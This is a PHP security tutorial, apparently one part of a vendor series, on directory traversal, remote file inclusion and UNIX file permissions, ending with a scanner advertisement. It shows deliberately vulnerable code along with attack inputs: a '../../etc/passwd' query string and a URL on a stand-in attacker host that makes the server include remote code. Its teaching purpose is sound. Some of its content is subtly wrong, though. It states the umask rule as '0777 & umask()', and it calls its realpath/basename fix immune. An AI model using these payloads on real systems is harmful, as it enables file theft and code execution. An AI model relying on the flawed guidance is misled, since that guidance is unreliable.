PHP / SQL Security – Directory Traversal Attacks and File Access

Directory Traversal Attacks

In a directory traversal attack, the attacker will specify a filename containing characters which are interpreted specially by the filesystem. Usually, . refers to the same directory, and .. refers to its parent directory. For example, if your script asks for a username, then opens a file specific to that username (code below) then it can be exploited by passing a username which causes it to refer to a different file.

$username = $_GET['user'];
$filename = “/home/users/$username”;
readfile($filename);

If an attacker passes the query string

?user=../../etc/passwd

then PHP will read /etc/passwd and output that to the user. Since most operating systems restrict access to system files, and with the advent of shadow password files, this specific attack is less useful than it previously was, but similarly damaging attacks can be made by obtaining .php files which may contain database passwords, or other configuration data, or by obtaining the database files themselves. Anything which the user executing PHP can access (usually, since PHP is run from within a web server, this is the user the web server runs as), PHP itself can access and output to a remote client.

Once again, PHP provides functions which step in and offer some protection against this kind of attack, along with a configuration file directive to limit the file paths a PHP script may access.

realpath() and basename() are the two functions PHP provides to help avoid directory traversal attacks. realpath() translates any . or .. in a path, resulting in the correct absolute path for a file. For example, the $filename from above, passed into realpath(), would return

/etc/passwd

basename() strips the directory part of a name, leaving behind just the filename itself. Using these two functions, it is possible to rewrite the script above in a much more secure manner.

$username = basename(realpath($_GET['user']));
$filename = “/home/users/$username”;
readfile($filename);

This variant is immune to directory traversal attacks, but it does not prevent a user requesting a file they weren’t expected to request, but which was in the same directory as a file they are allowed to request. This can only be prevented by changing filesystem permissions on files, by scanning the filename for prohibited filenames, or by moving files you do not want people to be able to request the contents of outside of the directory containing the files you do want people to be able to access.

The configuration file variable open_basedir can be used to specify the base directory, or a list of base directories, from which PHP can open files. A script is forbidden to open a file from a directory which is not in the list, or a subdirectory of one in the list.

Note that PHP included files are subject to this restriction, so the standard PHP include directory should be listed under open_basedir as well as any directories containing files you wish to provide access to through PHP. open_basedir can be specified in php.ini, globally in httpd.conf, or as a per-virtual host setting in httpd.conf. The php.ini syntax is

open_basedir = “/path:/path2:/path3”

The httpd.conf syntax makes use of the php_admin_value option,

php_admin_value open_basedir “/path:/path2:/path3”

open_basedir cannot be overridden in .htaccess files.

Remote Inclusion

PHP can be configured with the allow_url_fopen directive, which allows it to treat a URL as a local file, and allows URLs to be passed to any PHP function which expects a filename, including readfile() and fopen(). This provides attackers with a mechanism by which they can cause remote code to be executed on the server.

Consider the following case. Here, the include() function is used to include a PHP page specific to an individual user. This may be to import their preferences as a series of variables, or to import a new set of functionality for a different user type.

include($_GET['username'] . ‘.php’);

This assumes that the value of username in the GET request corresponds to the name of a local file, ending with .php. When a user provides a name such as bob, this looks for bob.php in the PHP include directories (current directory, and those specified in php.ini). Consider, however, what happens if the user enters

http://www.attackers-r-us.com/nastycode

This translates to http://www.attackers-r-us.com/nastycode.php and with allow_url_fopen enabled, this remote file will be included into the script and executed. Note that the remote server would have to serve php files as the raw script, instead of processing them with a PHP module first, in order for this attack to be effective, or a script would have to output PHP code ( readfile(realnastycode.php) for instance).

Mechanisms such as the above allow attackers to execute any code they desire on vulnerable web systems. This is limited only by the limitations placed on PHP on that system, and the limitations of the user under which PHP is running (usually the same user that the entire web server is running under).

One simple way to prevent this style of attack is to disable allow_url_fopen. This can be set in php.ini. If allow_url_fopen is required for some parts of your site, another technique is to prefix the file path with the absolute path to the starting directory. This reduces the portability of your scripts, since that path must be set depending on where the script was installed, but it results in increased security, since no path starting with a / (or X:\, or whatever it is on your operating system) can be interpreted as a URL.

$username = basename(realpath($_GET['username']));
include(‘/home/www/somesite/userpages/’ . $username . ‘.php’);

The code above highlights not only prefixing with an absolute path, but also protecting against directory traversal using basename and realpath.

Note that the third solution to the remote inclusion problem is to never use user-supplied filenames. This alleviates a large number of file-related security issues, and is recommended wherever possible. Databases and support for PHP concepts such as classes should reduce user-specified file operations to a minimum.

File Permissions

Files created with PHP have default permissions determined by the umask, short for unmask. This can be found by calling the umask() function with no arguments.

The file permissions set are determined by a bitwise and of the umask against the octal number 0777 (or the permissions specified to a PHP function which allows you to do so, such as mkdir(“temp”,0777) ). In other words, the permissions actually set on a file created by PHP would be 0777 & umask().

A different umask can be set by calling umask() with a numeric argument. Note that this does not default to octal, so umask(777) is not the same as umask(0777). It is always advisable to prefix the 0 to specify that your number is octal.

Given this, it is possible to change the default permissions by adding bits to the umask. A umask is “subtracted” from the default permissions to give the actual permissions, so if the default is 0777 and the umask is 0222, the permissions the file will be given are 0555. If these numbers don’t mean anything to you, see the next section on UNIX File Permissions.

The umask is clearly important for security, as it defines the permissions applied to a file, and therefore how that file may be accessed. However, the umask applies server-wide for the duration it is set, so in a multi-threaded server environment, you would set a default umask with appropriate value, and leave it at that value. Use chmod() to change the permissions after creation of files whose permissions must differ from the default.

UNIX File Permissions

UNIX file permissions are split into three parts, a user part, a group part, and an “others” part. The user permissions apply to the user whose userid is specified as the owner of the file. The group permissions apply to the group whose groupid is specified as the group owner of the file, and the other permissions apply to everyone else.

The permissions are set as a sum of octal digits for each part, where read permission is 4, write permission is 2, and execute permission is 1. To create UNIX file permissions, add each permission digit you want to apply to each part, then combine the three to get a single octal number (note, on the command line, chmod automatically treats numbers as octal, in PHP, you need to specify a leading zero).

The permissions are also commonly displayed in the form of r (read), w (write) and x (execute), written three times in a single row. The first three form the user permissions, second the group, and third others.

Take, for example, a file owned by user andrew and group users. The user andrew must be able to read, write and execute the file, the users group must be able to read and execute it, and everyone else must be able to execute only.

This corresponds to -rwxr-x–x, where each – is a placeholder for the missing character of permissions (w, for instance, in the group, and rw in the others). The – at the front is due to the fact that there is an extra part which specifies other, UNIX specific, attributes. The ls directory listing tool uses this first column to display a d character if the item is a directory.

To obtain this permission set in octal, simply add the digits 4, 2 and 1, in three separate numbers, then combine them in order. The user permissions are rwx, which is 4 + 2 + 1 = 7. The group permissions are r-x, which is 4 + 1 = 5, and the other permissions are –x, which is 1 = 1. We now have the values 7 for user, 5 for group, and 1 for others, which combines to the octal number 0751.

The actual permissions applied to a file created depend on the permissions set, and the umask, which subtracts from the permissions set (actually its a bitwise and, but it has the effect of subtracting, as long as you treat the permissions as though they were three distinct octal numbers, and not a single three digit octal number). A umask of 0266, (which is equivalent to not write, not read or write, not read or write, for user, group, and others, respectively) applied to a default permission of 0777, results in 0511, which is -r-x–x–x. The umask is determined in the same way as the permissions, but you start with 7 and subtract the numbers for the permissions you do not want.

How to check for PHP vulnerabilities

The best way to check whether your web site & applications are vulnerable to PHP security attacks is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for vulnerabilities to PHP attacks. It will indicate which scripts are vulnerable so that you can fix the vulnerability easily. Besides PHP security vulnerabilities, a web application scanner will also check for SQL injection, Cross site scripting & other web vulnerabilities.

The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities. For more information & a trial download click here.

Click here for part 4.